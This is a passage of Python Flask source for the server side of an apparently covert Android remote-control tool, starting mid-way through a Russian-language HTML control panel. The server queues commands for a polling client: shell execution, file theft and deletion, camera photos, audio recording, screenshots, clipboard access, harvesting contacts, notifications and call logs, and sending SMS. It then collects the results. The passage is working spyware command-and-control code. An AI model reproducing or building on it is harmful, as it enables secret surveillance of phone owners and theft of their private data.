| <input type="text" id="customPathInput" placeholder="/sdcard/Download" style="width:auto; display:inline-block; margin-left:0px; margin-right:5px; max-width: 150px;"> | |
| <button onclick="navigateTo(document.getElementById('customPathInput').value)">Перейти</button> | |
| <div class="file-browser control-section"> | |
| <h3>Содержимое директории:</h3> | |
| <ul id="fileList"><li>Запросите содержимое директории.</li></ul> | |
| </div> | |
| <div class="control-section"> | |
| <h3>Загрузить файл НА устройство</h3> | |
| <form id="uploadForm" onsubmit="handleUploadToServer(event)"> | |
| <label for="fileToUploadToDevice">Выберите файл:</label> | |
| <input type="file" id="fileToUploadToDevice" name="file_to_device" required> | |
| <label for="targetDevicePath">Путь для сохранения на устройстве (например, `/sdcard/Download/` или `~/`):</label> | |
| <input type="text" id="targetDevicePath" name="target_path_on_device" value="/sdcard/Download/" required> | |
| <button type="submit">Загрузить</button> | |
| </form> | |
| <p id="uploadToDeviceStatus"></p> | |
| </div> | |
| </div> | |
| <div id="shell" class="container hidden-section"> | |
| <h2>Выполнить команду на устройстве</h2> | |
| <form onsubmit="submitShellCommand(event)"> | |
| <label for="command_str">Команда (например, `ls -l /sdcard/Download` или `pwd`):</label> | |
| <input type="text" id="command_str" name="command_str" required> | |
| <button type="submit">Отправить</button> | |
| </form> | |
| <div class="control-section" style="margin-top:20px;"> | |
| <h3>Вывод команды:</h3> | |
| <pre id="outputAreaShellCopy"></pre> | |
| </div> | |
| </div> | |
| <div id="media" class="container hidden-section"> | |
| <h2>Мультимедиа</h2> | |
| <div class="control-section"> | |
| <button onclick="submitMediaCommand('take_photo', 'camera_id', 'camera_id_input')">Сделать фото</button> | |
| <label for="camera_id_input" style="display:inline-block; margin-left:10px;">ID камеры:</label> | |
| <input type="text" id="camera_id_input" value="0" style="width:50px; display:inline-block;"> | |
| </div> | |
| <div class="control-section"> | |
| <button onclick="submitMediaCommand('record_audio', 'duration', 'audio_duration_input')">Записать аудио</button> | |
| <label for="audio_duration_input" style="display:inline-block; margin-left:10px;">Длительность (сек):</label> | |
| <input type="text" id="audio_duration_input" value="5" style="width:50px; display:inline-block;"> | |
| </div> | |
| <div class="control-section"> | |
| <button onclick="submitMediaCommand('screenshot')">Сделать скриншот</button> | |
| </div> | |
| <div class="control-section" style="margin-top:20px;"> | |
| <h3>Результат операции:</h3> | |
| <pre id="outputAreaMediaCopy"></pre> | |
| </div> | |
| </div> | |
| <div id="clipboard" class="container hidden-section"> | |
| <h2>Буфер обмена</h2> | |
| <div class="control-section"><button onclick="getClipboard()">Получить из буфера</button></div> | |
| <div class="control-section"> | |
| <label for="clipboardSetText">Текст для вставки в буфер:</label> | |
| <textarea id="clipboardSetText" rows="3"></textarea> | |
| <button onclick="setClipboard()">Вставить в буфер</button> | |
| </div> | |
| <div class="control-section" style="margin-top:20px;"> | |
| <h3>Результат операции с буфером:</h3> | |
| <pre id="outputAreaClipboardCopy"></pre> | |
| </div> | |
| </div> | |
| <div id="utils" class="container hidden-section"> | |
| <h2>Утилиты</h2> | |
| <div class="control-section"> | |
| <label for="urlToOpen">Открыть URL на устройстве:</label> | |
| <input type="text" id="urlToOpen" placeholder="https://example.com"> | |
| <button onclick="openUrlOnDevice()">Открыть URL</button> | |
| </div> | |
| <div class="control-section" style="margin-top:20px;"> | |
| <h3>Результат операции:</h3> | |
| <pre id="outputAreaUtilsCopy"></pre> | |
| </div> | |
| </div> | |
| <div id="system" class="container hidden-section"> | |
| <h2>Системные функции</h2> | |
| <div class="control-section"> | |
| <h3>Синтез речи (TTS)</h3> | |
| <label for="ttsText">Текст для озвучивания:</label> | |
| <textarea id="ttsText" rows="2">Привет, мир!</textarea> | |
| <button onclick="speakText()">Озвучить</button> | |
| </div> | |
| <div class="control-section"> | |
| <h3>Вибрация</h3> | |
| <label for="vibrateDuration">Длительность (мс):</label> | |
| <input type="text" id="vibrateDuration" value="1000" style="width:100px;"> | |
| <button onclick="vibrateDevice()">Вибрировать</button> | |
| </div> | |
| <div class="control-section"> | |
| <h3>Фонарик</h3> | |
| <button onclick="toggleTorch('on')">Включить</button> | |
| <button onclick="toggleTorch('off')">Выключить</button> | |
| </div> | |
| <div class="control-section"> | |
| <h3>Информация</h3> | |
| <button onclick="getDeviceInfo()">Информация об устройстве</button> | |
| <button onclick="getWifiInfo()">Информация о Wi-Fi</button> | |
| </div> | |
| <div class="control-section" style="margin-top:20px;"> | |
| <h3>Результат операции:</h3> | |
| <pre id="outputAreaSystemCopy"></pre> | |
| </div> | |
| </div> | |
| <div id="uploads" class="container hidden-section"> | |
| <h2>Файлы, загруженные С клиента на сервер</h2> | |
| <div class="control-section"> | |
| <button onclick="refreshServerUploads()">Обновить список</button> | |
| <ul id="serverUploadedFiles" class="server-file-list"><li>Нет загруженных файлов.</li></ul> | |
| </div> | |
| </div> | |
| </div> | |
| </div> | |
| <div id="previewModal" class="preview-modal"> | |
| <div class="preview-content"> | |
| <span class="close-btn">×</span> | |
| <h3 id="previewTitle">Предпросмотр файла</h3> | |
| <div id="previewContent"></div> | |
| <div id="previewActions" class="preview-actions"></div> | |
| </div> | |
| </div> | |
| <script> | |
| document.addEventListener('DOMContentLoaded', () => { | |
| const outputArea = document.getElementById('outputArea'); | |
| const outputAreaShellCopy = document.getElementById('outputAreaShellCopy'); | |
| const outputAreaMediaCopy = document.getElementById('outputAreaMediaCopy'); | |
| const outputAreaClipboardCopy = document.getElementById('outputAreaClipboardCopy'); | |
| const outputAreaUtilsCopy = document.getElementById('outputAreaUtilsCopy'); | |
| const outputAreaMessagingCopy = document.getElementById('outputAreaMessagingCopy'); | |
| const outputAreaSystemCopy = document.getElementById('outputAreaSystemCopy'); | |
| const observer = new MutationObserver(() => { | |
| if (outputAreaShellCopy && currentView === 'shell') outputAreaShellCopy.innerText = outputArea.innerText; | |
| if (outputAreaMediaCopy && currentView === 'media') outputAreaMediaCopy.innerText = outputArea.innerText; | |
| if (outputAreaClipboardCopy && currentView === 'clipboard') outputAreaClipboardCopy.innerText = outputArea.innerText; | |
| if (outputAreaUtilsCopy && currentView === 'utils') outputAreaUtilsCopy.innerText = outputArea.innerText; | |
| if (outputAreaMessagingCopy && currentView === 'messaging') outputAreaMessagingCopy.innerText = outputArea.innerText; | |
| if (outputAreaSystemCopy && currentView === 'system') outputAreaSystemCopy.innerText = outputArea.innerText; | |
| }); | |
| observer.observe(outputArea, { childList: true, characterData: true, subtree: true }); | |
| }); | |
| </script> | |
| </body> | |
| </html> | |
| """ | |
| def index(): | |
| return render_template_string(HTML_TEMPLATE) | |
| def handle_send_command(): | |
| global pending_command, command_output | |
| data = request.json | |
| command_output = "Ожидание выполнения..." | |
| command_type = data.get('command_type') | |
| if command_type == 'list_files': | |
| pending_command = {'type': 'list_files', 'path': data.get('path', '.')} | |
| elif command_type == 'request_download_file': | |
| pending_command = {'type': 'upload_to_server', 'filename': data.get('filename'), 'is_preview': False} | |
| elif command_type == 'request_preview_file': | |
| pending_command = {'type': 'upload_to_server', 'filename': data.get('filename'), 'is_preview': True} | |
| elif command_type == 'delete_file': | |
| pending_command = {'type': 'delete_file', 'filename': data.get('filename')} | |
| elif command_type == 'zip_and_upload_dir': | |
| pending_command = {'type': 'zip_and_upload_dir', 'path': data.get('path')} | |
| elif command_type == 'take_photo': | |
| pending_command = {'type': 'take_photo', 'camera_id': data.get('camera_id', '0')} | |
| elif command_type == 'record_audio': | |
| pending_command = {'type': 'record_audio', 'duration': data.get('duration', '5')} | |
| elif command_type == 'screenshot': | |
| pending_command = {'type': 'screenshot'} | |
| elif command_type == 'shell': | |
| pending_command = {'type': 'shell', 'command': data.get('command')} | |
| elif command_type == 'receive_file': | |
| server_filename = data.get('server_filename') | |
| target_path = data.get('target_path_on_device') | |
| file_path = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_filename) | |
| if server_filename and target_path and os.path.exists(file_path): | |
| pending_command = { | |
| 'type': 'receive_file', | |
| 'download_url': url_for('download_to_client', filename=server_filename, _external=True), | |
| 'target_path': target_path, | |
| 'original_filename': server_filename.split('_', 1)[1] if '_' in server_filename else server_filename | |
| } | |
| else: | |
| command_output = f"Ошибка: Файл {server_filename} не найден на сервере." | |
| elif command_type == 'clipboard_get': | |
| pending_command = {'type': 'clipboard_get'} | |
| elif command_type == 'clipboard_set': | |
| pending_command = {'type': 'clipboard_set', 'text': data.get('text', '')} | |
| elif command_type == 'open_url': | |
| pending_command = {'type': 'open_url', 'url': data.get('url')} | |
| elif command_type == 'get_device_status': | |
| pending_command = {'type': 'get_device_status', 'item': data.get('item')} | |
| elif command_type == 'get_notifications': | |
| pending_command = {'type': 'get_notifications'} | |
| elif command_type == 'get_contacts': | |
| pending_command = {'type': 'get_contacts'} | |
| elif command_type == 'send_sms': | |
| pending_command = {'type': 'send_sms', 'number': data.get('number'), 'text': data.get('text')} | |
| elif command_type == 'get_call_log': | |
| pending_command = {'type': 'get_call_log'} | |
| elif command_type == 'tts_speak': | |
| pending_command = {'type': 'tts_speak', 'text': data.get('text')} | |
| elif command_type == 'vibrate': | |
| pending_command = {'type': 'vibrate', 'duration': data.get('duration', '1000')} | |
| elif command_type == 'torch': | |
| pending_command = {'type': 'torch', 'state': data.get('state', 'off')} | |
| elif command_type == 'get_device_info': | |
| pending_command = {'type': 'get_device_info'} | |
| elif command_type == 'get_wifi_info': | |
| pending_command = {'type': 'get_wifi_info'} | |
| else: | |
| command_output = "Неизвестный тип команды." | |
| return jsonify({'status': 'command_queued'}) | |
| def get_command(): | |
| global pending_command | |
| if pending_command: | |
| cmd_to_send = pending_command | |
| pending_command = None | |
| return jsonify(cmd_to_send) | |
| return jsonify(None) | |
| def submit_client_data(): | |
| global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history, contacts_list | |
| data = request.json | |
| if not data: return jsonify({'status': 'error', 'message': 'No data received'}), 400 | |
| last_client_heartbeat = datetime.datetime.utcnow().isoformat() + "Z" | |
| if 'output' in data: | |
| command_output = data['output'] | |
| if 'current_path' in data: | |
| current_client_path = data['current_path'] | |
| if 'device_status_update' in data: | |
| device_status_info.update(data['device_status_update']) | |
| if 'notifications_update' in data: | |
| notifications_history = data['notifications_update'] | |
| if 'contacts_update' in data: | |
| contacts_list = data['contacts_update'] | |
| if 'heartbeat' in data and data['heartbeat'] and not any(k in data for k in ['output', 'device_status_update', 'notifications_update', 'contacts_update']): | |
| command_output = "Клиент онлайн." | |
| if 'preview_file' in data and 'mimetype' in data: | |
| filename = data['preview_file'] | |
| mimetype = data['mimetype'] | |
| command_output = f"Файл '{filename}' готов к предпросмотру (MIME: {mimetype})." | |
| return jsonify({'status': 'data_received', 'preview_file': filename, 'preview_mimetype': mimetype}) | |
| return jsonify({'status': 'data_received'}) | |
| def upload_from_client_route(): | |
| global command_output, last_client_heartbeat | |
| last_client_heartbeat = datetime.datetime.utcnow().isoformat() + "Z" | |
| if 'file' not in request.files: | |
| return jsonify({'status': 'error', 'message': 'No file part'}) | |
| file = request.files['file'] | |
| is_preview = request.form.get('is_preview') == 'true' | |
| if file.filename == '': | |
| return jsonify({'status': 'error', 'message': 'No selected file'}) | |
| if file: | |
| filename = werkzeug.utils.secure_filename(file.filename) | |
| folder = app.config['PREVIEW_FOLDER'] if is_preview else app.config['UPLOAD_FOLDER'] | |
| base, ext = os.path.splitext(filename) | |
| counter = 1 | |
| safe_filename = filename | |
| filepath = os.path.join(folder, safe_filename) | |
| while os.path.exists(filepath): | |
| safe_filename = f"{base}_{counter}{ext}" | |
| filepath = os.path.join(folder, safe_filename) | |
| counter += 1 | |
| try: | |
| file.save(filepath) | |
| if is_preview: | |
| mimetype = mimetypes.guess_type(safe_filename)[0] or 'application/octet-stream' | |
| return jsonify({'status': 'success', 'filename': safe_filename, 'is_preview': True, 'mimetype': mimetype}) | |
| else: | |
| command_output = f"Файл '{safe_filename}' успешно загружен С клиента." | |
| return jsonify({'status': 'success', 'filename': safe_filename}) | |
| except Exception as e: | |
| command_output = f"Ошибка сохранения файла от клиента: {str(e)}" | |
| return jsonify({'status': 'error', 'message': str(e)}) | |
| def get_status_output_route(): | |
| global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history, contacts_list | |
| preview_file_data = None | |
| preview_folder = app.config['PREVIEW_FOLDER'] | |
| try: | |
| preview_files = os.listdir(preview_folder) | |
| if preview_files: | |
| filename = preview_files[0] | |
| mimetype = mimetypes.guess_type(filename)[0] or 'application/octet-stream' | |
| preview_file_data = {'preview_file': filename, 'preview_mimetype': mimetype} | |
| except Exception: | |
| pass | |
| response_data = { | |
| 'output': command_output, | |
| 'last_heartbeat': last_client_heartbeat, | |
| 'current_path': current_client_path, | |
| 'device_status': device_status_info, | |
| 'notifications': notifications_history, | |
| 'contacts': contacts_list | |
| } | |
| if preview_file_data: | |
| response_data.update(preview_file_data) | |
| return jsonify(response_data) | |
| def uploaded_file_from_client(filename): | |
| return send_from_directory(app.config['UPLOAD_FOLDER'], filename) | |
| def preview_content(filename): | |
| return send_from_directory(app.config['PREVIEW_FOLDER'], filename) | |
| def clear_preview_file_route(filename): | |
| try: | |
| secure_name = werkzeug.utils.secure_filename(filename) | |
| file_path = os.path.join(app.config['PREVIEW_FOLDER'], secure_name) | |
| if os.path.exists(file_path) and os.path.isfile(file_path): | |
| os.remove(file_path) | |
| return jsonify({'status': 'success', 'message': f'Файл {secure_name} удален из предпросмотра.'}) | |
| else: | |
| return jsonify({'status': 'error', 'message': 'Файл предпросмотра не найден.'}), 404 | |
| except Exception as e: | |
| return jsonify({'status': 'error', 'message': str(e)}), 500 | |
| def delete_uploaded_file_route(filename): | |
| try: | |
| secure_name = werkzeug.utils.secure_filename(filename) | |
| file_path = os.path.join(app.config['UPLOAD_FOLDER'], secure_name) | |
| if os.path.exists(file_path) and os.path.isfile(file_path): | |
| os.remove(file_path) | |
| return jsonify({'status': 'success', 'message': f'Файл {secure_name} удален.'}) | |
| else: | |
| return jsonify({'status': 'error', 'message': 'Файл не найден.'}), 404 | |
| except Exception as e: | |
| return jsonify({'status': 'error', 'message': str(e)}), 500 | |
| def list_uploaded_files_route(): | |
| files_details = [] | |
| upload_folder = app.config['UPLOAD_FOLDER'] | |
| try: | |
| for f_name in os.listdir(upload_folder): | |
| f_path = os.path.join(upload_folder, f_name) | |
| if os.path.isfile(f_path): | |
| stats = os.stat(f_path) | |
| files_details.append({ | |
| 'name': f_name, | |
| 'size': stats.st_size, | |
| 'mtime': stats.st_mtime | |
| }) | |
| except Exception: | |
| pass | |
| files_details.sort(key=lambda x: x['mtime'], reverse=True) | |
| return jsonify({'files': files_details}) | |
| def upload_to_server_for_client_route(): | |
| if 'file_to_device' not in request.files: return jsonify({'status': 'error', 'message': 'No file part'}), 400 | |
| file = request.files['file_to_device'] | |
| target_path = request.form.get('target_path_on_device') | |
| if file.filename == '' or not target_path: return jsonify({'status': 'error', 'message': 'Missing file or path'}), 400 | |
| original_filename = werkzeug.utils.secure_filename(file.filename) | |
| server_filename = str(uuid.uuid4()) + "_" + original_filename | |
| filepath = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_filename) | |
| try: | |
| file.save(filepath) | |
| return jsonify({ | |
| 'status': 'success', | |
| 'server_filename': server_filename, | |
| 'target_path_on_device': target_path | |
| }) | |
| except Exception as e: | |
| return jsonify({'status': 'error', 'message': str(e)}), 500 | |
| def download_to_client(filename): | |
| return send_from_directory(app.config['FILES_TO_CLIENT_FOLDER'], filename) | |
| if __name__ == '__main__': | |
| app.run(host='0.0.0.0', port=7860, debug=False) |